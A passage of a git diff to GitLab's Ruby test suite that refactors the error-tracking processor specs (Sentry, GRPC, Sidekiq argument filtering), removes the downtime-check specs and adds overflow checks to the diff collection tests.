- old_pos, new_pos = expected_diff_lines[i][0], expected_diff_lines[i][1]
+ old_pos = expected_diff_lines[i][0]
+ new_pos = expected_diff_lines[i][1]
unless line.type == 'match'
expect(line.line_code).to eq(Gitlab::Git.diff_line_code(diff_file.file_path, new_pos, old_pos))
@@ -490,7 +492,8 @@ RSpec.describe Gitlab::Diff::LinesUnfolder do
new_diff_lines = subject.unfolded_diff_lines
new_diff_lines.each_with_index do |line, i|
- old_pos, new_pos = expected_diff_lines[i][0], expected_diff_lines[i][1]
+ old_pos = expected_diff_lines[i][0]
+ new_pos = expected_diff_lines[i][1]
unless line.type == 'match'
expect(line.line_code).to eq(Gitlab::Git.diff_line_code(diff_file.file_path, new_pos, old_pos))
@@ -581,7 +584,8 @@ RSpec.describe Gitlab::Diff::LinesUnfolder do
new_diff_lines = subject.unfolded_diff_lines
new_diff_lines.each_with_index do |line, i|
- old_pos, new_pos = expected_diff_lines[i][0], expected_diff_lines[i][1]
+ old_pos = expected_diff_lines[i][0]
+ new_pos = expected_diff_lines[i][1]
unless line.type == 'match'
expect(line.line_code).to eq(Gitlab::Git.diff_line_code(diff_file.file_path, new_pos, old_pos))
@@ -691,7 +695,8 @@ RSpec.describe Gitlab::Diff::LinesUnfolder do
new_diff_lines = subject.unfolded_diff_lines
new_diff_lines.each_with_index do |line, i|
- old_pos, new_pos = expected_diff_lines[i][0], expected_diff_lines[i][1]
+ old_pos = expected_diff_lines[i][0]
+ new_pos = expected_diff_lines[i][1]
unless line.type == 'match'
expect(line.line_code).to eq(Gitlab::Git.diff_line_code(diff_file.file_path, new_pos, old_pos))
@@ -783,7 +788,8 @@ RSpec.describe Gitlab::Diff::LinesUnfolder do
new_diff_lines = subject.unfolded_diff_lines
new_diff_lines.each_with_index do |line, i|
- old_pos, new_pos = expected_diff_lines[i][0], expected_diff_lines[i][1]
+ old_pos = expected_diff_lines[i][0]
+ new_pos = expected_diff_lines[i][1]
unless line.type == 'match'
expect(line.line_code).to eq(Gitlab::Git.diff_line_code(diff_file.file_path, new_pos, old_pos))
diff --git a/spec/lib/gitlab/diff/suggestions_parser_spec.rb b/spec/lib/gitlab/diff/suggestions_parser_spec.rb
index 5efce414dc8..a00c55d4fb2 100644
--- a/spec/lib/gitlab/diff/suggestions_parser_spec.rb
+++ b/spec/lib/gitlab/diff/suggestions_parser_spec.rb
@@ -56,7 +56,8 @@ RSpec.describe Gitlab::Diff::SuggestionsParser do
end
it 'parsed suggestion has correct data' do
- from_line, to_line = position.new_line, position.new_line
+ from_line = position.new_line
+ to_line = position.new_line
expect(subject.first.to_hash).to include(from_content: blob_lines_data(from_line, to_line),
to_content: " foo\n bar\n",
diff --git a/spec/lib/gitlab/downtime_check/message_spec.rb b/spec/lib/gitlab/downtime_check/message_spec.rb
deleted file mode 100644
index 2d82836db33..00000000000
--- a/spec/lib/gitlab/downtime_check/message_spec.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::DowntimeCheck::Message do
- describe '#to_s' do
- it 'returns an ANSI formatted String for an offline migration' do
- message = described_class.new('foo.rb', true, 'hello')
-
- expect(message.to_s).to eq("[\e[31moffline\e[0m]: foo.rb:\n\nhello\n\n")
- end
-
- it 'returns an ANSI formatted String for an online migration' do
- message = described_class.new('foo.rb')
-
- expect(message.to_s).to eq("[\e[32monline\e[0m]: foo.rb")
- end
- end
-
- describe '#reason?' do
- it 'returns false when no reason is specified' do
- message = described_class.new('foo.rb')
-
- expect(message.reason?).to eq(false)
- end
-
- it 'returns true when a reason is specified' do
- message = described_class.new('foo.rb', true, 'hello')
-
- expect(message.reason?).to eq(true)
- end
- end
-
- describe '#reason' do
- it 'strips excessive whitespace from the returned String' do
- message = described_class.new('foo.rb', true, " hello\n world\n\n foo")
-
- expect(message.reason).to eq("hello\nworld\n\nfoo")
- end
- end
-end
diff --git a/spec/lib/gitlab/downtime_check_spec.rb b/spec/lib/gitlab/downtime_check_spec.rb
deleted file mode 100644
index 761519425f6..00000000000
--- a/spec/lib/gitlab/downtime_check_spec.rb
+++ /dev/null
@@ -1,116 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::DowntimeCheck do
- subject { described_class.new }
-
- let(:path) { 'foo.rb' }
-
- describe '#check' do
- before do
- expect(subject).to receive(:require).with(path)
- end
-
- context 'when a migration does not specify if downtime is required' do
- it 'raises RuntimeError' do
- expect(subject).to receive(:class_for_migration_file)
- .with(path)
- .and_return(Class.new)
-
- expect { subject.check([path]) }
- .to raise_error(RuntimeError, /it requires downtime/)
- end
- end
-
- context 'when a migration requires downtime' do
- context 'when no reason is specified' do
- it 'raises RuntimeError' do
- stub_const('TestMigration::DOWNTIME', true)
-
- expect(subject).to receive(:class_for_migration_file)
- .with(path)
- .and_return(TestMigration)
-
- expect { subject.check([path]) }
- .to raise_error(RuntimeError, /no reason was given/)
- end
- end
-
- context 'when a reason is specified' do
- it 'returns an Array of messages' do
- stub_const('TestMigration::DOWNTIME', true)
- stub_const('TestMigration::DOWNTIME_REASON', 'foo')
-
- expect(subject).to receive(:class_for_migration_file)
- .with(path)
- .and_return(TestMigration)
-
- messages = subject.check([path])
-
- expect(messages).to be_an_instance_of(Array)
- expect(messages[0]).to be_an_instance_of(Gitlab::DowntimeCheck::Message)
-
- message = messages[0]
-
- expect(message.path).to eq(path)
- expect(message.offline).to eq(true)
- expect(message.reason).to eq('foo')
- end
- end
- end
- end
-
- describe '#check_and_print' do
- it 'checks the migrations and prints the results to STDOUT' do
- stub_const('TestMigration::DOWNTIME', true)
- stub_const('TestMigration::DOWNTIME_REASON', 'foo')
-
- expect(subject).to receive(:require).with(path)
-
- expect(subject).to receive(:class_for_migration_file)
- .with(path)
- .and_return(TestMigration)
-
- expect(subject).to receive(:puts).with(an_instance_of(String))
-
- subject.check_and_print([path])
- end
- end
-
- describe '#class_for_migration_file' do
- it 'returns the class for a migration file path' do
- expect(subject.class_for_migration_file('123_string.rb')).to eq(String)
- end
- end
-
- describe '#online?' do
- it 'returns true when a migration can be performed online' do
- stub_const('TestMigration::DOWNTIME', false)
-
- expect(subject.online?(TestMigration)).to eq(true)
- end
-
- it 'returns false when a migration can not be performed online' do
- stub_const('TestMigration::DOWNTIME', true)
-
- expect(subject.online?(TestMigration)).to eq(false)
- end
- end
-
- describe '#downtime_reason' do
- context 'when a reason is defined' do
- it 'returns the downtime reason' do
- stub_const('TestMigration::DOWNTIME_REASON', 'hello')
-
- expect(subject.downtime_reason(TestMigration)).to eq('hello')
- end
- end
-
- context 'when a reason is not defined' do
- it 'returns nil' do
- expect(subject.downtime_reason(Class.new)).to be_nil
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/email/handler/create_note_handler_spec.rb b/spec/lib/gitlab/email/handler/create_note_handler_spec.rb
index 8872800069a..e76a5d3fe32 100644
--- a/spec/lib/gitlab/email/handler/create_note_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/create_note_handler_spec.rb
@@ -59,7 +59,7 @@ RSpec.describe Gitlab::Email::Handler::CreateNoteHandler do
end
shared_examples 'a reply to existing comment' do
- it 'creates a comment' do
+ it 'creates a discussion' do
expect { receiver.execute }.to change { noteable.notes.count }.by(1)
new_note = noteable.notes.last
@@ -68,11 +68,7 @@ RSpec.describe Gitlab::Email::Handler::CreateNoteHandler do
expect(new_note.note).to include('I could not disagree more.')
expect(new_note.in_reply_to?(note)).to be_truthy
- if note.part_of_discussion?
- expect(new_note.discussion_id).to eq(note.discussion_id)
- else
- expect(new_note.discussion_id).not_to eq(note.discussion_id)
- end
+ expect(new_note.discussion_id).to eq(note.discussion_id)
end
end
diff --git a/spec/lib/gitlab/email/handler/create_note_on_issuable_handler_spec.rb b/spec/lib/gitlab/email/handler/create_note_on_issuable_handler_spec.rb
index 94f28d3399a..d3535fa9bd3 100644
--- a/spec/lib/gitlab/email/handler/create_note_on_issuable_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/create_note_on_issuable_handler_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Gitlab::Email::Handler::CreateNoteOnIssuableHandler do
it_behaves_like :note_handler_shared_examples, true do
let_it_be(:recipient) { user }
- let(:update_commands_only) { email_reply_fixture('emails/update_commands_only_reply.eml') }
+ let(:update_commands_only) { email_reply_fixture('emails/update_commands_only.eml') }
let(:no_content) { email_reply_fixture('emails/no_content_reply.eml') }
let(:commands_in_reply) { email_reply_fixture('emails/commands_in_reply.eml') }
let(:with_quick_actions) { email_reply_fixture('emails/valid_reply_with_quick_actions.eml') }
diff --git a/spec/lib/gitlab/email/handler/unsubscribe_handler_spec.rb b/spec/lib/gitlab/email/handler/unsubscribe_handler_spec.rb
index 13ad9ddd8ef..2c1badbd113 100644
--- a/spec/lib/gitlab/email/handler/unsubscribe_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/unsubscribe_handler_spec.rb
@@ -74,7 +74,7 @@ RSpec.describe Gitlab::Email::Handler::UnsubscribeHandler do
context 'when the noteable could not be found' do
before do
- noteable.destroy
+ noteable.destroy!
end
it 'raises a NoteableNotFoundError' do
diff --git a/spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb b/spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb
index 0db40eca989..24f5299d357 100644
--- a/spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb
+++ b/spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb
@@ -1,45 +1,66 @@
# frozen_string_literal: true
-require 'fast_spec_helper'
+require 'spec_helper'
RSpec.describe Gitlab::ErrorTracking::Processor::ContextPayloadProcessor do
- subject(:processor) { described_class.new }
-
- before do
- allow_next_instance_of(Gitlab::ErrorTracking::ContextPayloadGenerator) do |generator|
- allow(generator).to receive(:generate).and_return(
- user: { username: 'root' },
- tags: { locale: 'en', program: 'test', feature_category: 'feature_a', correlation_id: 'cid' },
- extra: { some_info: 'info' }
- )
+ shared_examples 'processing an exception' do
+ before do
+ allow_next_instance_of(Gitlab::ErrorTracking::ContextPayloadGenerator) do |generator|
+ allow(generator).to receive(:generate).and_return(
+ user: { username: 'root' },
+ tags: { locale: 'en', program: 'test', feature_category: 'feature_a', correlation_id: 'cid' },
+ extra: { some_info: 'info' }
+ )
+ end
end
- end
- it 'merges the context payload into event payload' do
- payload = {
- user: { ip_address: '127.0.0.1' },
- tags: { priority: 'high' },
- extra: { sidekiq: { class: 'SomeWorker', args: ['[FILTERED]', 1, 2] } }
- }
-
- processor.process(payload)
-
- expect(payload).to eql(
- user: {
- ip_address: '127.0.0.1',
- username: 'root'
- },
- tags: {
- priority: 'high',
- locale: 'en',
- program: 'test',
- feature_category: 'feature_a',
- correlation_id: 'cid'
- },
- extra: {
- some_info: 'info',
- sidekiq: { class: 'SomeWorker', args: ['[FILTERED]', 1, 2] }
+ let(:payload) do
+ {
+ user: { ip_address: '127.0.0.1' },
+ tags: { priority: 'high' },
+ extra: { sidekiq: { class: 'SomeWorker', args: ['[FILTERED]', 1, 2] } }
}
- )
+ end
+
+ it 'merges the context payload into event payload', :aggregate_failures do
+ expect(result_hash[:user]).to include(ip_address: '127.0.0.1', username: 'root')
+
+ expect(result_hash[:tags])
+ .to include(priority: 'high',
+ locale: 'en',
+ program: 'test',
+ feature_category: 'feature_a',
+ correlation_id: 'cid')
+
+ expect(result_hash[:extra])
+ .to include(some_info: 'info',
+ sidekiq: { class: 'SomeWorker', args: ['[FILTERED]', 1, 2] })
+ end
+ end
+
+ describe '.call' do
+ let(:event) { Raven::Event.new(payload) }
+ let(:result_hash) { described_class.call(event).to_hash }
+
+ it_behaves_like 'processing an exception'
+
+ context 'when followed by #process' do
+ let(:result_hash) { described_class.new.process(described_class.call(event).to_hash) }
+
+ it_behaves_like 'processing an exception'
+ end
+ end
+
+ describe '#process' do
+ let(:event) { Raven::Event.new(payload) }
+ let(:result_hash) { described_class.new.process(event.to_hash) }
+
+ context 'with sentry_processors_before_send disabled' do
+ before do
+ stub_feature_flags(sentry_processors_before_send: false)
+ end
+
+ it_behaves_like 'processing an exception'
+ end
end
end
diff --git a/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb b/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
index 797707114a1..4808fdf2f06 100644
--- a/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
+++ b/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
@@ -3,73 +3,83 @@
require 'spec_helper'
RSpec.describe Gitlab::ErrorTracking::Processor::GrpcErrorProcessor do
- describe '#process' do
- subject { described_class.new }
-
+ shared_examples 'processing an exception' do
context 'when there is no GRPC exception' do
+ let(:exception) { RuntimeError.new }
let(:data) { { fingerprint: ['ArgumentError', 'Missing arguments'] } }
it 'leaves data unchanged' do
- expect(subject.process(data)).to eq(data)
+ expect(result_hash).to include(data)
end
end
context 'when there is a GPRC exception with a debug string' do
+ let(:exception) { GRPC::DeadlineExceeded.new('Deadline Exceeded', {}, '{"hello":1}') }
+
let(:data) do
{
- exception: {
- values: [
- {
- type: "GRPC::DeadlineExceeded",
- value: "4:DeadlineExceeded. debug_error_string:{\"hello\":1}"
- }
- ]
- },
extra: {
caller: 'test'
},
fingerprint: [
- "GRPC::DeadlineExceeded",
- "4:Deadline Exceeded. debug_error_string:{\"created\":\"@1598938192.005782000\",\"description\":\"Error received from peer unix:/home/git/gitalypraefect.socket\",\"file\":\"src/core/lib/surface/call.cc\",\"file_line\":1055,\"grpc_message\":\"Deadline Exceeded\",\"grpc_status\":4}"
+ 'GRPC::DeadlineExceeded',
+ '4:Deadline Exceeded. debug_error_string:{"created":"@1598938192.005782000","description":"Error received from peer unix:/home/git/gitalypraefect.socket","file":"src/core/lib/surface/call.cc","file_line":1055,"grpc_message":"Deadline Exceeded","grpc_status":4}'
]
}
end
- let(:expected) do
- {
- fingerprint: [
- "GRPC::DeadlineExceeded",
- "4:Deadline Exceeded."
- ],
- exception: {
- values: [
- {
- type: "GRPC::DeadlineExceeded",
- value: "4:DeadlineExceeded."
- }
- ]
- },
- extra: {
- caller: 'test',
- grpc_debug_error_string: "{\"hello\":1}"
- }
- }
- end
-
it 'removes the debug error string and stores it as an extra field' do
- expect(subject.process(data)).to eq(expected)
+ expect(result_hash[:fingerprint])
+ .to eq(['GRPC::DeadlineExceeded', '4:Deadline Exceeded.'])
+
+ expect(result_hash[:exception][:values].first)
+ .to include(type: 'GRPC::DeadlineExceeded', value: '4:Deadline Exceeded.')
+
+ expect(result_hash[:extra])
+ .to include(caller: 'test', grpc_debug_error_string: '{"hello":1}')
end
context 'with no custom fingerprint' do
- before do
- data.delete(:fingerprint)
- expected.delete(:fingerprint)
+ let(:data) do
+ { extra: { caller: 'test' } }
end
it 'removes the debug error string and stores it as an extra field' do
- expect(subject.process(data)).to eq(expected)
+ expect(result_hash).not_to include(:fingerprint)
+
+ expect(result_hash[:exception][:values].first)
+ .to include(type: 'GRPC::DeadlineExceeded', value: '4:Deadline Exceeded.')
+
+ expect(result_hash[:extra])
+ .to include(caller: 'test', grpc_debug_error_string: '{"hello":1}')
end
end
end
end
+
+ describe '.call' do
+ let(:event) { Raven::Event.from_exception(exception, data) }
+ let(:result_hash) { described_class.call(event).to_hash }
+
+ it_behaves_like 'processing an exception'
+
+ context 'when followed by #process' do
+ let(:result_hash) { described_class.new.process(described_class.call(event).to_hash) }
+
+ it_behaves_like 'processing an exception'
+ end
+ end
+
+ describe '#process' do
+ let(:event) { Raven::Event.from_exception(exception, data) }
+ let(:result_hash) { described_class.new.process(event.to_hash) }
+
+ context 'with sentry_processors_before_send disabled' do
+ before do
+ stub_feature_flags(sentry_processors_before_send: false)
+ end
+
+ it_behaves_like 'processing an exception'
+ end
+ end
end
diff --git a/spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb b/spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb
index da7205c7f4f..20fd5d085a9 100644
--- a/spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb
+++ b/spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb
@@ -94,28 +94,37 @@ RSpec.describe Gitlab::ErrorTracking::Processor::SidekiqProcessor do
end
end
- describe '#process' do
+ shared_examples 'processing an exception' do
context 'when there is Sidekiq data' do
+ let(:wrapped_value) { { extra: { sidekiq: value } } }
+
shared_examples 'Sidekiq arguments' do |args_in_job_hash: true|
let(:path) { [:extra, :sidekiq, args_in_job_hash ? :job : nil, 'args'].compact }
let(:args) { [1, 'string', { a: 1 }, [1, 2]] }
- it 'only allows numeric arguments for an unknown worker' do
- value = { 'args' => args, 'class' => 'UnknownWorker' }
+ context 'for an unknown worker' do
+ let(:value) do
+ hash = { 'args' => args, 'class' => 'UnknownWorker' }
- value = { job: value } if args_in_job_hash
+ args_in_job_hash ? { job: hash } : hash
+ end
- expect(subject.process(extra_sidekiq(value)).dig(*path))
- .to eq([1, described_class::FILTERED_STRING, described_class::FILTERED_STRING, described_class::FILTERED_STRING])
+ it 'only allows numeric arguments for an unknown worker' do
+ expect(result_hash.dig(*path))
+ .to eq([1, described_class::FILTERED_STRING, described_class::FILTERED_STRING, described_class::FILTERED_STRING])
+ end
end
- it 'allows all argument types for a permitted worker' do
- value = { 'args' => args, 'class' => 'PostReceive' }
+ context 'for a permitted worker' do
+ let(:value) do
+ hash = { 'args' => args, 'class' => 'PostReceive' }
- value = { job: value } if args_in_job_hash
+ args_in_job_hash ? { job: hash } : hash
+ end
- expect(subject.process(extra_sidekiq(value)).dig(*path))
- .to eq(args)
+ it 'allows all argument types for a permitted worker' do
+ expect(result_hash.dig(*path)).to eq(args)
+ end
end
end
@@ -127,39 +136,62 @@ RSpec.describe Gitlab::ErrorTracking::Processor::SidekiqProcessor do
include_examples 'Sidekiq arguments', args_in_job_hash: false
end
- it 'removes a jobstr field if present' do
- value = {
- job: { 'args' => [1] },
- jobstr: { 'args' => [1] }.to_json
- }
+ context 'when a jobstr field is present' do
+ let(:value) do
+ {
+ job: { 'args' => [1] },
+ jobstr: { 'args' => [1] }.to_json
+ }
+ end
- expect(subject.process(extra_sidekiq(value)))
- .to eq(extra_sidekiq(value.except(:jobstr)))
+ it 'removes the jobstr' do
+ expect(result_hash.dig(:extra, :sidekiq)).to eq(value.except(:jobstr))
+ end
end
- it 'does nothing with no jobstr' do
- value = { job: { 'args' => [1] } }
+ context 'when no jobstr value is present' do
+ let(:value) { { job: { 'args' => [1] } } }
- expect(subject.process(extra_sidekiq(value)))
- .to eq(extra_sidekiq(value))
+ it 'does nothing' do
+ expect(result_hash.dig(:extra, :sidekiq)).to eq(value)
+ end
end
end
context 'when there is no Sidekiq data' do
- it 'does nothing' do
- value = {
- request: {
- method: 'POST',
- data: { 'key' => 'value' }
- }
- }
+ let(:value) { { tags: { foo: 'bar', baz: 'quux' } } }
+ let(:wrapped_value) { value }
- expect(subject.process(value)).to eq(value)
+ it 'does nothing' do
+ expect(result_hash).to include(value)
+ expect(result_hash.dig(:extra, :sidekiq)).to be_nil
end
end
+ end
+
+ describe '.call' do
+ let(:event) { Raven::Event.new(wrapped_value) }
+ let(:result_hash) { described_class.call(event).to_hash }
+
+ it_behaves_like 'processing an exception'
+
+ context 'when followed by #process' do
+ let(:result_hash) { described_class.new.process(described_class.call(event).to_hash) }
+
+ it_behaves_like 'processing an exception'
+ end
+ end
+
+ describe '#process' do
+ let(:event) { Raven::Event.new(wrapped_value) }
+ let(:result_hash) { described_class.new.process(event.to_hash) }
+
+ context 'with sentry_processors_before_send disabled' do
+ before do
+ stub_feature_flags(sentry_processors_before_send: false)
+ end
- def extra_sidekiq(hash)
- { extra: { sidekiq: hash } }
+ it_behaves_like 'processing an exception'
end
end
end
diff --git a/spec/lib/gitlab/error_tracking_spec.rb b/spec/lib/gitlab/error_tracking_spec.rb
index a905b9f8d40..2e67a9f0874 100644
--- a/spec/lib/gitlab/error_tracking_spec.rb
+++ b/spec/lib/gitlab/error_tracking_spec.rb
@@ -7,6 +7,7 @@ require 'raven/transports/dummy'
RSpec.describe Gitlab::ErrorTracking do
let(:exception) { RuntimeError.new('boom') }
let(:issue_url) { 'http://gitlab.com/gitlab-org/gitlab-foss/issues/1' }
+ let(:extra) { { issue_url: issue_url, some_other_info: 'info' } }
let(:user) { create(:user) }
@@ -42,6 +43,8 @@ RSpec.describe Gitlab::ErrorTracking do
}
end
+ let(:sentry_event) { Gitlab::Json.parse(Raven.client.transport.events.last[1]) }
+
before do
stub_sentry_settings
@@ -133,8 +136,6 @@ RSpec.describe Gitlab::ErrorTracking do
end
describe '.track_exception' do
- let(:extra) { { issue_url: issue_url, some_other_info: 'info' } }
-
subject(:track_exception) { described_class.track_exception(exception, extra) }
before do
@@ -195,6 +196,55 @@ RSpec.describe Gitlab::ErrorTracking do
end
end
+ context 'when the error is kind of an `ActiveRecord::StatementInvalid`' do
+ let(:exception) { ActiveRecord::StatementInvalid.new(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = 1 AND "users"."foo" = $1') }
+
+ it 'injects the normalized sql query into extra' do
+ track_exception
+
+ expect(sentry_event.dig('extra', 'sql')).to eq('SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
+ end
+ end
+
+ context 'when the `ActiveRecord::StatementInvalid` is wrapped in another exception' do
+ it 'injects the normalized sql query into extra' do
+ allow(exception).to receive(:cause).and_return(ActiveRecord::StatementInvalid.new(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = 1 AND "users"."foo" = $1'))
+
+ track_exception
+
+ expect(sentry_event.dig('extra', 'sql')).to eq('SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
+ end
+ end
+ end
+
+ shared_examples 'event processors' do
+ subject(:track_exception) { described_class.track_exception(exception, extra) }
+
+ before do
+ allow(Raven).to receive(:capture_exception).and_call_original
+ allow(Gitlab::ErrorTracking::Logger).to receive(:error)
+ end
+
+ context 'custom GitLab context when using Raven.capture_exception directly' do
+ subject(:raven_capture_exception) { Raven.capture_exception(exception) }
+
+ it 'merges a default set of tags into the existing tags' do
+ allow(Raven.context).to receive(:tags).and_return(foo: 'bar')
+
+ raven_capture_exception
+
+ expect(sentry_event['tags']).to include('correlation_id', 'feature_category', 'foo', 'locale', 'program')
+ end
+
+ it 'merges the current user information into the existing user information' do
+ Raven.user_context(id: -1)
+
+ raven_capture_exception
+
+ expect(sentry_event['user']).to eq('id' => -1, 'username' => user.username)
+ end
+ end
+
context 'with sidekiq args' do
context 'when the args does not have anything sensitive' do
let(:extra) { { sidekiq: { 'class' => 'PostReceive', 'args' => [1, { 'id' => 2, 'name' => 'hello' }, 'some-value', 'another-value'] } } }
@@ -211,16 +261,20 @@ RSpec.describe Gitlab::ErrorTracking do
)
)
end
+
+ it 'does not filter parameters when sending to Sentry' do
+ track_exception
+
+ expect(sentry_event.dig('extra', 'sidekiq', 'args')).to eq([1, { 'id' => 2, 'name' => 'hello' }, 'some-value', 'another-value'])
+ end
end
context 'when the args has sensitive information' do
let(:extra) { { sidekiq: { 'class' => 'UnknownWorker', 'args' => ['sensitive string', 1, 2] } } }
- it 'filters sensitive arguments before sending' do
+ it 'filters sensitive arguments before sending and logging' do
track_exception
- sentry_event = Gitlab::Json.parse(Raven.client.transport.events.last[1])
-
expect(sentry_event.dig('extra', 'sidekiq', 'args')).to eq(['[FILTERED]', 1, 2])
expect(Gitlab::ErrorTracking::Logger).to have_received(:error).with(
hash_including(
@@ -234,28 +288,44 @@ RSpec.describe Gitlab::ErrorTracking do
end
end
- context 'when the error is kind of an `ActiveRecord::StatementInvalid`' do
- let(:exception) { ActiveRecord::StatementInvalid.new(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = 1 AND "users"."foo" = $1') }
+ context 'when the error is a GRPC error' do
+ context 'when the GRPC error contains a debug_error_string value' do
+ let(:exception) { GRPC::DeadlineExceeded.new('unknown cause', {}, '{"hello":1}') }
- it 'injects the normalized sql query into extra' do
- allow(Raven.client.transport).to receive(:send_event) do |event|
- expect(event.extra).to include(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
+ it 'sets the GRPC debug error string in the Sentry event and adds a custom fingerprint' do
+ track_exception
+
+ expect(sentry_event.dig('extra', 'grpc_debug_error_string')).to eq('{"hello":1}')
+ expect(sentry_event['fingerprint']).to eq(['GRPC::DeadlineExceeded', '4:unknown cause.'])
end
+ end
- track_exception
+ context 'when the GRPC error does not contain a debug_error_string value' do
+ let(:exception) { GRPC::DeadlineExceeded.new }
+
+ it 'does not do any processing on the event' do
+ track_exception
+
+ expect(sentry_event['extra']).not_to include('grpc_debug_error_string')
+ expect(sentry_event['fingerprint']).to eq(['GRPC::DeadlineExceeded', '4:unknown cause'])
+ end
end
end
+ end
- context 'when the `ActiveRecord::StatementInvalid` is wrapped in another exception' do
- let(:exception) { RuntimeError.new(cause: ActiveRecord::StatementInvalid.new(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = 1 AND "users"."foo" = $1')) }
+ context 'with sentry_processors_before_send enabled' do
+ before do
+ stub_feature_flags(sentry_processors_before_send: true)
+ end
- it 'injects the normalized sql query into extra' do
- allow(Raven.client.transport).to receive(:send_event) do |event|
- expect(event.extra).to include(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
- end
+ include_examples 'event processors'
+ end
- track_exception
- end
+ context 'with sentry_processors_before_send disabled' do
+ before do
+ stub_feature_flags(sentry_processors_before_send: false)
end
+
+ include_examples 'event processors'
end
end
diff --git a/spec/lib/gitlab/experimentation_spec.rb b/spec/lib/gitlab/experimentation_spec.rb
index 83c6b556fc6..5fef14bd2a0 100644
--- a/spec/lib/gitlab/experimentation_spec.rb
+++ b/spec/lib/gitlab/experimentation_spec.rb
@@ -7,7 +7,6 @@ require 'spec_helper'
RSpec.describe Gitlab::Experimentation::EXPERIMENTS do
it 'temporarily ensures we know what experiments exist for backwards compatibility' do
expected_experiment_keys = [
- :upgrade_link_in_user_menu_a,
:invite_members_version_b,
:invite_members_empty_group_version_a,
:contact_sales_btn_in_app
diff --git a/spec/lib/gitlab/git/diff_collection_spec.rb b/spec/lib/gitlab/git/diff_collection_spec.rb
index 1a3c332a21b..114b3d01952 100644
--- a/spec/lib/gitlab/git/diff_collection_spec.rb
+++ b/spec/lib/gitlab/git/diff_collection_spec.rb
@@ -31,6 +31,19 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
end
end
+ let(:overflow_max_bytes) { false }
+ let(:overflow_max_files) { false }
+ let(:overflow_max_lines) { false }
+
+ shared_examples 'overflow stuff' do
+ it 'returns the expected overflow values' do
+ subject.overflow?
+ expect(subject.overflow_max_bytes?).to eq(overflow_max_bytes)
+ expect(subject.overflow_max_files?).to eq(overflow_max_files)
+ expect(subject.overflow_max_lines?).to eq(overflow_max_lines)
+ end
+ end
+
subject do
Gitlab::Git::DiffCollection.new(
iterator,
@@ -76,12 +89,19 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
end
context 'overflow handling' do
+ subject { super() }
+
+ let(:collapsed_safe_files) { false }
+ let(:collapsed_safe_lines) { false }
+
context 'adding few enough files' do
let(:file_count) { 3 }
context 'and few enough lines' do
let(:line_count) { 10 }
+ it_behaves_like 'overflow stuff'
+
describe '#overflow?' do
subject { super().overflow? }
@@ -117,6 +137,11 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'when limiting is disabled' do
let(:limits) { false }
+ let(:overflow_max_bytes) { false }
+ let(:overflow_max_files) { false }
+ let(:overflow_max_lines) { false }
+
+ it_behaves_like 'overflow stuff'
describe '#overflow?' do
subject { super().overflow? }
@@ -155,6 +180,9 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'and too many lines' do
let(:line_count) { 1000 }
+ let(:overflow_max_lines) { true }
+
+ it_behaves_like 'overflow stuff'
describe '#overflow?' do
subject { super().overflow? }
@@ -184,6 +212,11 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'when limiting is disabled' do
let(:limits) { false }
+ let(:overflow_max_bytes) { false }
+ let(:overflow_max_files) { false }
+ let(:overflow_max_lines) { false }
+
+ it_behaves_like 'overflow stuff'
describe '#overflow?' do
subject { super().overflow? }
@@ -216,10 +249,13 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'adding too many files' do
let(:file_count) { 11 }
+ let(:overflow_max_files) { true }
context 'and few enough lines' do
let(:line_count) { 1 }
+ it_behaves_like 'overflow stuff'
+
describe '#overflow?' do
subject { super().overflow? }
@@ -248,6 +284,11 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'when limiting is disabled' do
let(:limits) { false }
+ let(:overflow_max_bytes) { false }
+ let(:overflow_max_files) { false }
+ let(:overflow_max_lines) { false }
+
+ it_behaves_like 'overflow stuff'
describe '#overflow?' do
subject { super().overflow? }
@@ -279,6 +320,10 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'and too many lines' do
let(:line_count) { 30 }
+ let(:overflow_max_lines) { true }
+ let(:overflow_max_files) { false }
+
+ it_behaves_like 'overflow stuff'
describe '#overflow?' do
subject { super().overflow? }
@@ -308,6 +353,11 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'when limiting is disabled' do
let(:limits) { false }
+ let(:overflow_max_bytes) { false }
+ let(:overflow_max_files) { false }
+ let(:overflow_max_lines) { false }
+
+ it_behaves_like 'overflow stuff'
describe '#overflow?' do
subject { super().overflow? }
